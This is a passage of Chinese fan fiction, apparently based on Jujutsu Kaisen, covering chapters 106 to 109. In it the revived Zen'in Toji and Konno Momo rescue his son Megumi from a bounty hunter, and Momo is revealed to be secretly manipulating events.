电话那边传来了窸窸窣窣的声音,随后班主任开口道:“您确定吗?但我们可以肯定,伏黑同学并不在学校。有同学看见,是您亲自把伏黑同学带走的。” “不对,我只是上午把小惠带走了,中午吃过饭就送回学校了。” “请不要着急,我的意思是,有人看见您下午把伏黑同学带走了。” 今野桃茫然地和禅院甚尔对上了视线。 十几分钟后,通过调取监控,大家愕然发现,伏黑惠是独自离开的学校。监控里清楚显示,他的身边空无一物。 不,或许有什么东西,但监控无法拍下。 手机铃声响起,禅院甚尔看见了一个眼熟的名字。 “孔先生,请问您有小惠的消息吗?”今野桃接通电话,第一句就这么问道。 “很抱歉,要让你失望了。”孔时雨头疼地回答:“这到底是怎么回事,黑市上怎么会出现伏黑惠的悬赏?!” 悬赏?! 今野桃挂了电话,飞快地打开了笔记本电脑,进入了一个隐秘的网站。果不其然,她在其中看见了一条新发布的悬赏。 伏黑惠的头像被清晰地印在上面,下面是一长串的零。 [十种影法术的持有者] 简简单单几个字,足以激起心怀不轨者的贪婪。 禅院甚尔的脸色阴沉如水,后槽牙咬得咯吱响。 “怎么办啊,甚尔先生。”她手足无措地抱住了身边男人的手臂,完全失去了冷静,也忘记了和他保持距离,“小惠、小惠他不会有事吧?” 她的身体微微颤抖,像风中摇曳的芦苇。她仰着头看他,湿润的眼眸里倒映着细碎的光,晶莹的泪水在眼眶中摇摇晃晃,最后打湿了他的袖子。 她看上去比作为父亲的他更担心失去联系的伏黑惠。 禅院甚尔从她的手中抽出手机,再度拨出了刚刚那个号码。他没有挣开她,而是用拇指擦去她的眼泪,言简意赅地说道:“不会有事的。” 第106章 六年时间足以改变很多,但也不至于天翻地覆。禅院甚尔拨通了孔时雨的电话,开口第一个字就差点把对方吓得跳起来。 “喂,是我,禅院甚尔。” 原本正在喝咖啡的孔时雨一口好悬没把自己呛死,他结结巴巴地开口道:“禅、禅院甚尔?!你不是死了吗? ” “这不重要。”禅院甚尔轻描淡写地回答。 这都不重要,那还有什么重要的?如果真的是起死回生,你知道有多少人会打破头寻求一个答案吗! 然而,孔时雨的嘴巴蠕动许久,到底没问出口。禅院甚尔死去的那天,他正好刚刚和他分开。虽然这件事跟他无关,但他多少心里还是有点不舒服,因此对伏黑惠也有了几分看顾。 “既然你回来了,那想必你很清楚怎么去找你儿子。”孔时雨长呼了一声,往沙发靠背上仰倒,“我就不插手了。” “嗯,你把路上的监控发给我,还有……” 曾经在黑市里叱咤风云的“术士杀手”,最精通这些诡谲手段。在通话时,禅院甚尔用余光瞥了一眼旁边一言不发的女人。 她显然生怕打扰到他,目光紧张又带着些许期待。她的眸子像是一泓清泉,只倒映出他一个人的影子。睫毛偶尔轻颤,舍不得眨动一下。 “怎么样?” 当他放下手机,她才迫不及待地追问道。 “六年过去,现在的监控倒是越来越多了。”禅院甚尔感慨道,“能追踪到小惠最后消失的地方。” “真的吗?!”今野桃欣喜地说道,“那我们现在就去吧!” 但事情并不能如希望的那样顺利发展,监控中断的地方并没有伏黑惠的身影。今野桃迷茫地在原地打转,却没有一丝头绪。 这里是一片废弃的公园,周围也没有民居,就算想问也问不到。带走小惠的人很谨慎,她使用了专门的咒具也监测不到留下的残秽。不知所措地在附近找完,今野桃回头的时候发现禅院甚尔蹲在地上。 “甚尔先生,接下来该做什么?有什么是我可以帮忙的吗?”她一点一点挪动着靠近,手指绞在一起,整个人都缩成了一团,小声问道。 “不需要,你在旁边站着就行。”大概是看她的样子太可怜,禅院甚尔补充了一句,“人类会留下的不只是残秽,气味、足迹,更何况,这里还是公园。草折倒的方向、战斗后的划痕……这些都是破绽。” 他顿了顿,若无其事地说道:“一般人当然很难发现,但我是天与咒缚,五感也因此得到了加强。” 在公开术式情报后,他能感觉到自己变得越发敏锐了。 今野桃似懂非懂地点头,喃喃道:“好厉害……” “走吧,我找到小惠了。”他沉声说道。 穿过一片湖泊,他们见到了带走伏黑惠的绑匪。对方全身都笼罩在漆黑的阴影之中,还穿着黑色的斗篷,完全看不到面容。 “可恶。”看到他们出现,那人用沙哑的嗓子咒骂了一句。 然后下一秒,禅院甚尔的拳头就冲到他的脸上去了。 像是穿过了一团雾气,愤怒的拳头砸了个空。绑匪猛然炸开,如一张大网盖了上去。如果不是禅院甚尔退得快,差点就被他吞掉。 一击不中,两人拉开了距离,都谨慎地观察着对方。 “我拖住他,你进去找小惠。”禅院甚尔的脑袋朝公园的服务中心偏了偏,如果不是这栋建筑,恐怕伏黑惠还拖不了这么久。 “好。”今野桃点头,转身飞快地冲向服务中心。 那绑匪明显急了,跟过去想要拦住她。 “跑什么。”禅院甚尔咧开一个轻蔑的笑,闪身迎了上去,“你的对手是我。” 阴森的蓝色咒力在斗篷人的周身扭曲缭绕,时而化作可怖的鬼脸,时而化作尖锐的爪牙。 身为天与咒缚,禅院甚尔本来看不见咒力的,但不知道是不是复活后的容器里本身带有咒力,他现在竟然能够看见了。 两人几乎是同时动的,**碰撞的声音连串响起,禅院甚尔身形挪移,避开了后腰突然出现的黑色利爪。刺骨寒意擦着皮肤掠过,他想要反击却又落了个空。 啧。 禅院甚尔发出不耐的声音。 没有武器就是这点不好,赤手空拳太麻烦了。 感受了一下身体中正在运转的微末咒力,他的眸光闪了闪。 或许,他只有一次机会…… 斗篷人也看出了禅院甚尔的弱点,他嘿嘿笑了笑,鄙夷地说道:“所谓的‘术士杀手’、‘天与暴君’,也不过如此嘛。” “哦?你认识我。”活动了一下手腕,禅院甚尔扯了扯嘴角,“现在离开,我不会杀你。” 都到了嘴边的肉,哪里能轻易吐出。斗篷人望了一眼没有动静的服务中心,沙哑的声音像是蛇在吐信。 “如果你真的能杀了我,早就动手了,何必说这种话。”他也不傻,闻言嗤道,“杀了你,再把那个十种影法术拿下,你们两人的赏金足够我后半生高枕无忧了哈哈……” 禅院甚尔指节捏得发白,青筋在太阳穴处一跳一跳,呼吸又沉又缓。他显然在隐忍着愤怒,杀意在他的眼底翻涌。 “去死吧!”斗篷人语带兴奋地扑了过来。 就在他掐住禅院甚尔的脖子的瞬间,看似落入下风的男人动了。 咒力凝聚在他的指尖,他猛然抬手,五指并拢如刀,凌厉地劈向了斗篷人的脖子。 连一声惨叫都来不及发出,斗篷人立时被劈成了两半,彻底地化作了灰烬。孤零零的斗篷落在地上,发出难闻的气味。 “呵,式神使……”禅院甚尔喘了一下,抬脚往服务中心走去。 伏黑惠躺在今野桃的怀里,身上还盖着她的外套。看见来人是禅院甚尔,她紧绷的身体放松下来。 “小惠没事,就是有点脱力,咒力消耗太多了。” “嗯。”他一只手抄起昏迷不醒的儿子,“走了。” 他们没有回家,而是去了一处隐蔽的房子。这里大概是孔时雨或者禅院甚尔以前的安全屋,周围有结界的痕迹。 将伏黑惠扔在硬邦邦的床上,少年滚进了被子里,眉毛微微皱起,竟然也没醒。禅院甚尔靠着墙滑坐在地,额头上沁出了汗珠。 身处陌生的环境,今野桃在这个堪称“家徒四壁”的屋子里看了一圈,找到了蒙灰的茶具。 算了,她下不去嘴。不过好在医药箱是有的,里面的药物还没过期,于是她又勤勤恳恳地打理起了伏黑惠的伤口。 她没有发现,一双幽深的绿眸始终凝视着她。 在昏黄灯光的照射下,他的眸光像是一潭深不见底的湖水泛起了幽暗的光泽,如有实质地缠绕在她的身上。 今野桃被盯得浑身不自在,裸露在外的肌肤像在被针扎似的。 “有什么事吗?”她迟疑地开口道,“你难道也受伤了?” “我受伤不是很正常。”禅院甚尔哼笑道,“在你眼里,我到底是什么样的存在啊。” “啊……我知道你是曾经最强大的‘天与咒缚’,曾经差点杀死老师。”她老老实实地回答,“我以前一直觉得老师是天底下最厉害的人,你能差点杀死老师,一定跟老师不相上下吧。” “你知道我差点杀死五条悟,不想为他报仇?”禅院甚尔挑眉问道。 今野桃犹豫开口:“但老师不是已经杀掉你了吗?而且……小惠是你的儿子的话,老师会收养他,说明老师已经不在乎了,我贸然插手,老师会生气的吧。” 老师、老师、老师,听着就烦。 “既然如此,那我儿子现在被悬赏,五条悟人呢?”他不耐烦地说道。 “老师去国外出差了。”今野桃无辜地说道。 哼,偏偏这个时候去出差,显然背后有人早就计算好了。 禅院甚尔眉头紧锁,在脑海中梳理着线索。小惠被悬赏,禅院家的人肯定知道了,也不知道他们对于十种影法术是怎么个看法…… 啪。 他本能地抓住了她伸过来他的手腕。 “你做什么。”禅院甚尔感受到掌心细腻的肌肤,凉凉滑滑的。 “你不是说你受伤了吗,”今野桃跪坐在他边上,一只手还拿着药箱,“我给你看看。” “没受伤,那种废物,怎么可能伤到我。”他不屑地说道。 “哦……”今野桃抽了一下手臂,没抽动,两人靠得太近了,他的影子笼罩在她的身上,带来无言却沉重的压力。她没什么底气地说道,“那你放开我……” “不过我确实觉得自己快要死了。”他不仅不放开,反而微微用力,将她拽得几乎贴在他胸口上,“你应该不会只把我召唤出来两天吧?” 今野桃沉默着,目光中带着纠结。 “我死了,你和小惠可就没人保护了。”他勾起嘴角,意有所指地说道。 她可以把小惠带到高专去。 今野桃腹诽,但没说出口。 “那你再帮我个忙……”她 支支吾吾地说道,“让你一直存活下去,是你帮我的酬劳。” 帮她?哦对,是说要教禅院的那个“天与咒缚”是吧。 禅院甚尔从鼻子里哼出一声:“我可不是什么好老师,不会手下留情的。” “没关系!”今野桃露出了一个灿烂的笑容,“能得到你的指导,真希一定会很开心!” 那可不一定。 禅院甚尔耸了耸肩膀:“好了,快开始吧,不然等下我真的要死……” 话没说完,她用力地抱住了他。垂下的发丝带着甜腻的气息,扫过他的耳廓,像是猫咪的爪子,轻轻挠着他的心尖。 她的身体软得像云,在霎那间填满了某个空缺。 咒力丝丝缕缕的渗进身体,在短暂的怔愣后,禅院甚尔重重地咬紧了牙关,长长地吐出了一口气。 他从齿关里挤出了两个字:“就这?” 第107章 禅院甚尔有一种饿了许久最后端到面前的是一碗粥的感觉。 他的舌尖抵住尖利的犬齿,又气又笑地说道:“就没有别的、更快的补充咒力的方式吗?” 原本以为是没有的,然而下一秒,他看见女人低下了头,目光有些游离,两颊泛起了浅浅的红晕,像是初春的桃花,却比花朵更加生动。 “这、这样就可以了吧……”她嗫嚅道,“你本来也不需要很多的咒力……” 正常来说,维持一具容器活动是需要很多咒力的,但禅院甚尔算是个例外。因为他是天与咒缚,本身不需要咒力,也存不住咒力。因此,一点点咒力就可以让他活动很久。 今野桃侧过脸,掌心撑住他的肩膀就想起来。 但是禅院甚尔变换了一下姿势,他曲起腿,揽住她的腰肢,将她控制在了自己制造出来的狭窄空间中。 “还不够。”他垂眼看她,“我既要保护你和小惠,还要帮你教学生,你不展示一下自己的诚意吗?” 禅院甚尔捏住她尖尖的下巴,轻轻晃了晃。 “啊……”她像个玩具一样被他摆弄,脸上浮现了为难的神色,“那我……那我抱久一点行吗?” “不行。”禅院甚尔步步紧逼,试图找到她的底线,“爽快点,不然我就要取消交易了。” 她抿了抿嘴唇,犹豫地、慢慢地在他怀里坐直了。 她的手捧住他的脸颊,绯红色一路蔓延到了衣领之下。禅院甚尔能感觉到细微的颤抖,和她明显上升的体温。 她的呼吸已经轻柔地拂过了他的下颌,带起了一串痒意。 她很小声地嘀咕了一句什么,禅院甚尔没听太清,大概是“混蛋”“可恶”之类的话吧。 但那又怎样呢?他都死了啊,还不能让他随心所欲吗。 “咳咳……” 床上的人发出了低低的咳嗽声和呻。吟,仿佛梦醒的号角,让女人一下瞪大了眼睛。 “小惠醒了!”她猛地甩开禅院甚尔的手,兔子似的弹射到了伏黑惠的床边。 她的黑发飘扬起来,禅院甚尔看见发丝掩映下红得快要滴血的耳廓。 他冷哼了一声。 今野桃装作没听见,关心地摸了摸伏黑惠的额头:“小惠,你感觉怎么样?” 伏黑惠刚刚醒来,眼前的事物都是模糊的,脑袋上也有一点钝痛,但仍旧开口道:“没事,感觉还好。” 今野桃松了一口气,神情变得自然了许多。 “你没事就好,我和甚尔先生都很担心你呢。” 爸爸…… 伏黑惠偏过脑袋,看见一团高大的影子晃动。 “是甚尔先生找到你的,不然现在我们还在地毯式搜索。”今野桃叹了口气道。 “……哦。”伏黑惠想了半天不知道该说什么,只能憋出了一个音节。想想觉得不太礼貌,又补充了一句,“谢谢。” 太生疏了。 但至少这是一个好的开始。 “小惠醒了,我们接下来去哪里?”今野桃开口问道。 禅院甚尔张了张嘴,忽地,他的脸色沉了下来。他伸出食指,在嘴上比了个“嘘”的动作,接着完全没有发出任何声音,走到了窗户边上。 在爆炸发生的前几秒钟,他就转身抄起了伏黑惠和今野桃,左边夹一个,右边夹一个,冲出了这座安全屋。 他逃跑的速度很快,敌人只能跟在他的后面吃风,完全追不上他。 疾速奔跑了十几分钟,禅院甚尔才将两人放了下来。今野桃眨了眨眼睛,将飘忽的神志收了回来。 “我们安全了吗?”她晕乎乎地问道。 “不确定。”禅院甚尔回答,“暂时应该安全了。我得给孔时雨打个电话,这种地方都敢给我落脚。” 孔时雨表示,只能怪你们运气太差,然后又给了禅院甚尔一个地址。 三人转移到了新的安全屋里,本以为能休息一下,谁料半小时不到,就又被找到。 一连换了三个地方,敌人如跗骨之蛆,怎么也甩不掉,谁都能猜到其中有猫腻了。 禅院甚尔的目光扫过今野桃和伏黑惠,率先走到了伏黑惠的面前,开口道:“我搜一下你的身。” 伏黑惠有点不情愿,但知道此时情况紧急,就也配合地抬起了手。 禅院甚尔一寸一寸地摸过去,从他的兜帽里摸出了一个定位器。定位器还闪着红光,不知道有没有窃听功能。 伏黑惠的脸“腾”地一声烧了起来,目光死死地盯着那个定位器,羞耻直冲脑门。 “可能是我之前跟那个穿斗篷的人打架的时候,他放进来的。”他艰难地解释道,“很抱歉……” 但禅院甚尔出乎意料地没有嘲讽责骂他。 他上下抛了抛定位器,一边拍照发给孔时雨,询问他有没有窃听功能,一边开口道:“不要因为敌人做的事情而道歉。” 伏黑惠不吭声了。 被长辈教导的感觉……好陌生,但又意外地不让他抵触。 这就是父亲吗? 孔时雨很快回禅院甚尔,这就是个单纯的定位器,没有窃听功能。 “很好,接下来我们分开走。”队伍里武力值最高的男人做了决定,“我带着定位器,你在安全屋里待着。至于小桃,你跟着我。” “不行。”今野桃还没开口,伏黑惠就说话了,“你那里那么危险,万一伤到小桃姐姐怎么办。” “跟你没关系,管好你自己。”禅院甚尔冷漠地开口道。 眼看那点温情转瞬即逝,今野桃连忙打圆场:“小惠,我跟着甚尔先生有很重要的事情,你一定要注意安全,好吗。” 不等伏黑惠回答,禅院甚尔已经揽住了她的肩膀,强硬地把人往门口带去。 “不要像个没断奶的小孩一样。”禅院甚尔头也没回地说道,“我和小桃一定不会有事,毕竟我们可不是敌人的目标。” 大门关上,今野桃懵懂地跟在男人身后开口道:“我们去哪里……” 她的尾音飘散在空气中,只觉得眼前一花,就被拽进了伸手不见五指的黑暗之中。 现在已经是凌晨了,幽深的巷子里连月光都撒不进来。 她的呼吸紊乱,在一片慌张之中,除了抓住他的手臂聊以安心外,什么都做不了。 男人的一只手掌托着她的脸颊,让她娇嫩的 肌肤免于和粗糙的墙面直接接触,另一只手按着她的肩膀,用身体抵住她。 “都这个时候了,还要磨磨蹭蹭地吗?”他用略显低沉的声音说道,“等你补充完咒力,敌人都到脸上来了。” “我……你……不是……”她支支吾吾,零碎的词语难以拼凑成一句完整的话。 “快点,”他催促道,“或者你告诉我,怎么补充咒力。” 今野桃咽了口口水,小声地将术式公开:“我可以通过皮肤触碰来给你补充咒力,如果要更快一点,那就只能更亲密……比如、比如……” 她几乎要说不下去了。 “比如这样?” 他低头逼近,呼吸灼热,在她本能想要躲开的时候,重重地碾了下来。唇瓣相接时,滚烫的温度迸发出来,仿佛要将两人都彻底燃烧成灰烬。 他的手掌太过宽大,能一边揉按着她的脊骨,一边用拇指顶住她的下巴。 口红晕染开来,他尝到了淡淡的甜味。 “等等……” 虚弱的求饶在下一秒就被吃掉,被反复戏弄后,他的吻强势得不容一丁点抗拒。舌尖撬开了她的齿关,掠夺了她的呼吸,吞没了她的挣扎。 她的手指攥紧了他胸口的衣服,布料皱成一团,分不清是迎合还是拒绝。 禅院甚尔的手指绕过她的肩膀,将她狠狠按在身上,不给她留有半分后退的余地。她含糊地呜咽了一声,被吃得丢盔弃甲,湿滑的触感令人心尖发颤。 磅礴的咒力涌入天与咒缚的身体,打了个转又消散在空气中。今野桃的眼角流下了生理性的水痕,滑落在了他的手上,才让他稍稍松开了一点。 “哭什么。”禅院甚尔的唇舌还流连在她的嘴角。 “够、够了吧……”她极力做出冷静的模样,“咒力都浪费了……” “刚刚那是带你和小惠逃走的报酬。”他残忍地只给了这么一点点的休息时间,就再度开始攻城略地,“还有你要我教学生的报酬。” “什……” 她的舌头被他勾住,轻轻厮默,每一次舔舐都带起细微的酥麻,每一次深吮都在汲取她所剩不多的空气,直到她头昏脑涨,终于站立不稳地倒在了他的怀里,被他捞了起来。 月亮被乌云遮挡住,男人的吻比夜色还要深重。 终于,她忍无可忍,一巴掌扇在了他的脸上。 清脆的响声打破了寂静的氛围,今野桃大口大口喘着气,眼尾都泛着红色。 禅院甚尔笑了笑,用指腹擦去唇上染着的颜色。他的目光顺着巷子望过去,戏谑地开口道:“小惠,有什么事吗?” 今野桃猛地扭头,睁大了眼睛。 伏黑惠自阴影处走来,他没有理会父亲的刻意问话,而是从口袋里掏出了手帕,递到了今野桃的面前。 她用力推开了禅院甚尔,后退几步,神色有些慌乱。 “小惠,你……”他什么时候来的,又看见了多少? 伏黑惠倒是出乎寻常的镇定,他开口道:“小桃姐姐,是他逼迫你的吗?” “不是不是,小惠,你听我说,是因为、因为甚尔先生受伤了,他需要咒力来补充身体,但他自己没有咒力,所以我就、我就帮他……” 她说得颠三倒四毫无逻辑,像极了随便找的借口。 在短暂的沉默后,伏黑惠问道:“那我可以吗?” “……”今野桃僵住,“……啊?” 原本悠闲倚靠在墙上的禅院甚尔猛地弹起来,站直了,用恶狠狠的目光看着儿子。 伏黑惠若无其事地重复了一遍:“我说,那我可以给他补充咒力吗?” “……小鬼,别逼我在高兴的时候捶你。” 第108章 伏黑惠的手指缠绕,跃跃欲试;禅院甚尔活动指关节,蠢蠢欲动。 眼看两人就要打起来了,今野桃左右看看,后退了一步。 “请打吧。”她颓丧地说道,“我会给死掉的那个收尸的,谁让我只是一个普通的二级咒术师。” 不管是十种影法术的持有者还是天与咒缚的完全体,她都打不过呀! 不过在她这样说以后,两人反而都停手了。 “我怎么会打小惠呢,我只是想给他一个完整的童年。”禅院甚尔假模假样地笑道。 伏黑惠冷哼一声:“我不会同毫无责任感的人渣说话。” 今野桃捏了捏鼻梁,对伏黑惠说:“你还是快回安全屋吧,等我们解决了那些……” 她的话没说完,一双宽厚的手掌按住她的肩膀,把她往前推了一下。 今野桃踉跄几步,被伏黑惠扶住了腰。 少年比她要稍微高一点点,挺直的脊梁如青竹,已经可以作为一个家庭的支柱了。 “你还是跟这个家伙走吧。”禅院甚尔无所谓地说道,“我去解决那些杂碎。” “诶?”今野桃茫然回头,“但是你就一个人……” “我一个人又怎样。”他斜晲着他们两人,眼神讥诮中带着戾气,只是站在那里,就像一把锋芒毕露的武器,松弛的站姿下隐藏着比野兽更强的爆发力,“当初我也是独自一人,就差点杀死了五条悟。” 只是忘了补刀,否则五条悟断然活不下来。 既然如此,今野桃除了点头还能说什么呢。 只是在分开前,她犹豫了一下,还是含糊地开口道:“你还记得我们第一次见面的地方吗?” 禅院甚尔挑眉回望。 今野桃轻咳了两声,语气有点发虚地说道:“我把你的武器放在那里了,就是那把叫做‘游云’的三节棍。如果你需要的话,就去那里拿吧。” 禅院甚尔目不转睛地盯着她,直把她看得摸了摸鼻子,随后才短促地笑了一声。 “看样子你本来没打算把我的武器给我?” 今野桃狡辩道:“那你也本来没打算帮我的呀。反正你就活、就呆那么几天,还拿武器做什么。” 禅院甚尔不跟她计较,只是用手指捏了一下她的脸颊,娇嫩瓷白的皮肤都被他捏红了。伏黑惠的动作慢了一拍,等到他伸手去打对方没有礼貌的手时,禅院甚尔已经缩了回去。 “行了,我知道了。”男人一只手插在兜里,背对着他们摆了摆另一只手,身影很快就消失在了黑暗之中。 伏黑惠凝视着男人朦胧的轮廓,尽管什么都没说,神色却显而易见地低落下去。 今野桃抿了抿嘴,牵住他的手。 “走吧,我们先去安全的地方。”她柔声说道,“很晚了,要好好休息才是。” “好。”伏黑惠乖乖地点头。 安全屋只有一个房间、一张床,两人为了谁睡在床而产生了小小的争执。 “小桃姐姐睡床上吧,我睡沙发上就行。”伏黑惠将外套脱下来当做被子。 “我睡沙发,我是大人,身体比你强壮。”今野桃坚持道。 不管是身为老师还是作为姐姐,都不能眼睁睁看着一个十四岁的孩子睡在沙发上吧。 然而伏黑惠看似好说话,其实性格固执。他挽起衬衫,露出下面虽然薄薄一层但也初现规模的肌肉。 “我也已经是个大人了。”他认真地说道,“我也可以保护小桃姐姐和津美纪。” 哎呀,这可真是…… 今野桃的心软了下去,有一种养大的小动物有一天给自己叼回了猎物的欣慰。 “算了,就挤一挤吧。”她丈量了一下这张单人床,开口道,“只有一床被子,晚上温度低,你只盖一件外套哪里能管用。” 挤一挤? 伏黑惠狭长的眼睛微微瞪大。这不合适吧?但小桃姐姐说得又好像有些道理…… “好了,别磨磨蹭蹭了。”今野桃抖开被子,率先坐在了床的一侧,“再不睡觉天都要亮了。” 伏黑惠一步一步慢慢地挪到了床边上,小心地躺了下去。他侧着身体,好空出更多的位置给她。 不过两 人都不是胖,一张单人床也不是挤不下。 关了灯,在一片漆黑中,今野桃伸手将伏黑惠的肩膀扳过来,两人都平躺在床上,肩膀挨着肩膀,手臂贴着手臂。 隔着单薄的布料,他能感受到源源不断的暖意。 大概是黑夜总能让人的心变得脆弱,原本坚硬的茧子不自觉地露出了缝隙,伏黑惠想起了白天发生的事情,忍不住开口道:“小桃姐姐,你和我的爸爸……很熟悉吗?” 身为儿子,会对父亲产生向往,也是理所当然的事情吧。年幼时的艰难和波折已经被时间淡去,心上的伤痕也被越来越多的爱所填补。那些年幼时候的噩梦,也不会再被想起。 取而代之的,是对未来的期待和追求。 “我同甚尔先生其实不是很熟啦。”今野桃斟酌着语句说道,“我会认识甚尔先生,是因为我从高专得知了一个消息,甚尔先生曾经是比五条老师还要强大的存在。所以我找上甚尔先生,希望他能够指点一下真希的体术。” 禅院真希,伏黑惠并不陌生。 作为明年将要入学的新生,他对于高专现在的一年级是有所耳闻的。 “爸爸他,比五条老师还要厉害?!”他有点不信,“如果是这样……” 那他为什么这么多年不回家? 质问的话语堵在了喉咙口,伏黑惠没有说出来。说出来的话,好像他就输了一样。他已经不再是那个渴求爱的小孩子了! “总之,我才不信他比五条老师更厉害。”伏黑惠嘀咕着。 “唔,其实这件事也不是个秘密,你去找当初的学长或者学姐也都能得到答案。”今野桃干脆挑明了真相,“甚尔先生,当时重伤了五条老师,差一点点就可以把他杀掉。” 伏黑惠猛地坐了起来,震惊地说道:“怎么可能!” 只要稍微涉及一点咒术界的人都知道,五条悟是怎样一个近乎无敌的人啊! “小心着凉!”今野桃赶紧拽着他缩回被子里,把被角掖好,不让冷空气钻进去 ,“家入医生、夜蛾校长他们都知道,我怎么会在这种事上骗你。” 伏黑惠用被子蒙住了大半张脸,他闻到了上面散发出来的霉味,却不肯松开。 “……既然这样,”他闷声闷气地说道,“五条老师为什么还要收养我呢?” 毕竟爸爸做出了这样的事情。而且,以后他还要去高专读书,又该怎么面对五条老师呢? “因为你的爸爸,在离开前,把你托付给了五条老师。”今野桃扯下他遮挡的“面具”,将边缘塞在了他的下巴处,然后揉了揉他的脑袋,“很有趣吧,明明刚刚还在打生打死,临了时候又将自己的孩子托付给了对方。这何尝不是一种惺惺相惜呢。” 伏黑惠紧紧靠着今野桃,好似溺水的人靠着浮木:“但是……” “你也不要有其他情绪,五条老师既然愿意收养你,说明他已经想通了。”今野桃笑道,“反正他也就是负责打钱而已嘛。” 伏黑惠的心理包袱已经很沉重了,她故意用轻佻的语气这么说,好缓解他的压力。 越能吃苦就越会有吃不完的苦,越懂事就越会有受不完的委屈。 少年配合地笑了一下,沉默不语。 今野桃心中叹息,伸出手穿过他的颈下,把他的肩膀环住,轻轻拍打着,开口道:“如果真的愧疚,那就快点长大吧。长成一个可以为五条老师分担责任的成熟大人,让未来的世界变得更加美好。” 五条悟成为老师,不就是为了这个吗。一个人的力量是渺小的,就算是他也一样。只有越来越多的人走上同一条路,才能创造真正的奇迹。 “……嗯。”他会的,不管是为了五条老师,还是为了姐姐们对他的期待。 怀里少年的呼吸逐渐变得平稳而有规律,今野桃垂眸看他,咒力顺着肌肤相接的地方传输过去。伏黑惠的眼珠在纤薄的眼皮下颤了颤,随即陷入更深的梦境之中。 今野桃收回手臂,起身下床,把被子给他盖好后,不紧不慢地走到了沙发边坐下。 她伸了个懒腰,长长地呼出一口气。她可真是辛苦啊,剧本一个套一个。索性所有剧情都在按计划进行,没节外生枝。 活动了一下脖子,今野桃掏出了手机,拨出了一个号码。 铃声没响几下,对面就接通了,似乎一直在等待她。 “怎么样了,伊地知学长?”她的唇角含着笑意问道。 伊地知洁高飞快地回答:“如预期的那样,人已经派过去了,并且被禅院甚尔发现。” “辛苦你了。”今野桃满意地说道,“老师那边,就要麻烦你继续盯着,这几天不要让老师回国。” “好。”伊地知洁高回得爽快,显然两人早就串通好了。 五条悟虽然实力强大,但当他身边最亲近的两人联合在一起,再敏锐的洞察力也会大打折扣。 “既然那人已经被禅院甚尔发现,学长你就不要再跟踪了。”今野桃的嗓音温柔,“他的感官很敏锐的,万一你被发现,就危险了。” 伊地知洁高犹豫了一下,还是答应下来:“好吧,你一个人能搞定吗?” “当然能,学长放心吧,我会把禅院甚尔变成撬开这个封建又腐朽的世界的尖刀。”今野桃的语气热切,眼神却是淡漠的,她捻动着指尖,像把一切都玩弄在股掌之中,“为了老师,付出再多也无所谓!” 第109章 伊地知洁高当然信她。 她是谁,她是最强咒术师五条悟的第一个学生,是他最信任的臂膀,是五条家族一度以为会变成家主夫人的人。 她那样狂热地信仰着五条悟,这么多年来,伊地知洁高都看在眼里。他怎么可能会不信她呢。 挂了电话,今野桃单手支在下巴上,目光落在虚空之中,没有焦距。兴奋挑动着她的神经,让她难以入睡。 她一遍一遍地梳理着大脑中的剧情线,确保每个棋子都有序地挪动。 直接碾压式的胜利固然美味,但扮猪吃虎、最后看着那些自以为是的男人崩溃的画面也很有趣。作为玩家,当然是什么类型都要尝试一下。 不知道过了多久,安全屋的门极细微地响了一下。她微微侧过头,看见男人灵活地闪了进来,像是山间的豹子。 他的表情有些许凝重,身上没有血迹,显然追杀他的人实力都不过尔尔。 见到她坐在沙发上,禅院甚尔愣了一下。他的目光扫过床上睡得正香的儿子,轻轻啧了一声。 “你没事吧?”今野桃用很轻的声音问道,“有受伤吗?” “没有。”他简短地回答,取下身后的背包,从里面掏出了瓶装水和食物。 “啊……忘记给甚尔先生钱了。”她抱歉地说道。 禅院甚尔耸了耸肩膀,坐在她旁边:“无所谓,反正那些人身上有。” 摸尸这种事情,他也做得很顺手。 今野桃笑了笑,打开瓶盖,小口小口地用水润喉。 狭窄的沙发很艰难地挤下了两个人,禅院甚尔伸出手臂,垂在沙发的靠背上,手指不自觉地缠绕上她的发丝,有一搭没一搭地卷着玩。 房间里没有开灯,只有稀薄的月光透过厚重的窗帘,从缝隙里钻进来,聊胜于无,但这并不影响两个人的视力。 禅院甚尔很清晰地看见她略显疲惫的神色,还有偶尔揉按眼尾的动作。于是他松开了她的头发,指腹滑到了她的后颈处,以一种不轻不重的力道捏了起来。 “嗯?”今野桃愣了一下,舒服得眯起了眼睛。 好家伙,不愧是前牛郎啊,有两把刷子。 她顺从地低下了头,露出光洁滑腻的脖颈。但今野桃对日本的某些文化了解得还是太少了,并不清楚自己的这个动作有什么意味。 禅院甚尔知道她 不了解这些,但仍然难以克制男人的劣根性。 他张开五指,比划了一下,他的手掌能轻松地握住她那一小截脆弱的地方。 一点心动怦然而生,但最终还是被他压了下去。禅院甚尔无奈又怅然地拍了拍她的脑袋,对她挂着懵懂表情的漂亮脸蛋说道:“要对男人始终保持警惕心啊。” 今野桃疑惑地回道:“可是甚尔先生不是陌生人呀,会帮助我和小惠,怎么会伤害我们呢?” 她的话让他哑口无言。阴郁的念头翻涌,有心想让她见识一下什么是社会的黑暗面,可想到儿子还睡在旁边,只能遗憾打消。 他将目光移到了桌面的背包上,几次深呼吸后,平复了激荡的内心。 禅院甚尔觉得是自己放弃了,却不知道自己逃过了什么。 隐秘的恶意消散,今野桃微微一笑,垂眼不说话。 “你知道加茂宪伦这个人吗?”他问道。 “加茂宪伦?”她沉吟几秒,回答,“你说的是一百五十年前那个被称作‘加茂家的污点’的咒术师吗?他因为研究人类和咒灵融合的邪恶咒术,被打为诅咒师,创造了咒胎九相图。” “没错。”禅院甚尔点点头,“我怀疑他还没有死,并且是这次狙击小惠的罪魁祸首。” 今野桃微微蹙眉:“竟然是他……” “嗯,我抓了他的一个手下,逼问出了关于他的情报。他现在应该还潜伏在加茂家,我准备去探一探。” 禅院甚尔语气平静,潜入赫赫有名的御三家对他来说,似乎并不是什么难事。 “等等。”但身边的这个女人却反应很大,“那可是加茂家,布满了层层结界,万一你被抓了怎么办?我和小惠都会担心的呀。” 她的唇线抿得笔直,眼眸里满是担忧和不安。 “这有什么关系,反正我已经死了。”禅院甚尔无所谓地说道。 “不。”她坐直了身体,两只手握住了他的手,合拢在一起,“甚尔先生是真实存在的,我能感受到甚尔先生的体温、呼吸和心跳,能和甚尔先生说话,这怎么能算是死去呢?” 禅院甚尔的任由她抓着,想说什么,又说不出口。 有人曾说,被遗忘才是真正的死亡。对她这种拥有降灵术的人来说,或许身体上死亡确实不是终点。 如果……如果她想,一直将他留在人间好像也不是不行。可惜人间太无趣,活着也没什么意思。 “……我不去,还有谁能去。”他自嘲地说道,“指望那个不知所踪的咒术界最强?” 